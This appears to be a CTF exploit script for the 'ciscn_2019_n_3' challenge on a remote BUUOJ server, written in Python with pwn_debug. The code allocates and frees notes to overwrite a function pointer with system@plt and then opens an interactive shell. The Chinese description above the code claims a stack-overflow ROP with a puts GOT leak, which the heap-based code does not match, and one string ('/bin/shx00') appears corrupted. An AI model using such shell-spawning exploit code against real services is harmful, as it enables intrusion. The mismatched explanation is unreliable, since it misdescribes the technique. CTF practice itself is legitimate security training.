exp 脚本
有 puts 函数,有栈溢出,第一次栈溢出 rop 用 puts 泄露 got 表,回到漏洞函数再次栈溢出 rop 执行 system('/bin/sh')
from pwn_debug import *
context.log_level = 'debug'
pdbg = pwn_debug('ciscn_2019_n_3')
pdbg.remote('node3.buuoj.cn',27772)
pdbg.debug('2.27')
p=pdbg.run('remote')
elf = ELF('ciscn_2019_n_3')
def newnote(idx,type,value,length=0):
p.recvuntil('CNote > ')
p.sendline(str(1))
p.recvuntil('Index > ')
p.sendline(str(idx))
p.recvuntil('Type > ')
p.sendline(str(type))
if type == 1:
p.recvuntil('Value > ')
p.sendline(str(value))
else:
p.recvuntil('Length > ')
p.sendline(str(length))
p.recvuntil('Value > ')
if length == 8:
p.send(value)
else:
p.sendline(value)
def delnote(idx):
p.recvuntil('CNote > ')
p.sendline(str(2))
p.recvuntil('Index > ')
p.sendline(str(idx))
newnote(0,2,'a'*10,0x88)
newnote(1,2,'a'*10,0x38)
newnote(2,1,0x41)
#gdb.attach(p)
delnote(1)
delnote(2)
newnote(3,2,'aaaa' +p32(elf.plt['system']),0xc)
newnote(4,2,'/bin/shx00',0x38)
delnote(1)
#gdb.attach(p)
p.interactive()